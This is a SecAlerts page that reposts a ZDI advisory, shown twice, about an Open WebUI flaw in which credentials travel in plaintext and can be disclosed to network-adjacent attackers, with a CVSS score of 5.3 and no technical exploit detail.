First published (updated )
Severity
5.3
AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

This vulnerability allows network-adjacent attackers to disclose sensitive information on affected installations of Open WebUI. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of credentials provided to the endpoint. The issue results from transmitting sensitive information in plaintext. An attacker can leverage this vulnerability to disclose transmitted credentials, leading to further compromise.

1 / 2
Source: ZDI
First published (updated )
Advisory
ZDI-26-033
Severity
5.3
AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

This vulnerability allows network-adjacent attackers to disclose sensitive information on affected installations of Open WebUI. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of credentials provided to the endpoint. The issue results from transmitting sensitive information in plaintext. An attacker can leverage this vulnerability to disclose transmitted credentials, leading to further compromise.

1 / 2
Source: ZDI
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203